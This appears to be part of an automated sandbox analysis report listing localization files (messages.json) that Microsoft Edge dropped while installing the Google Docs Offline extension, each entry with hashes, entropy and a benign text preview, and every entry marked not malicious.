C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
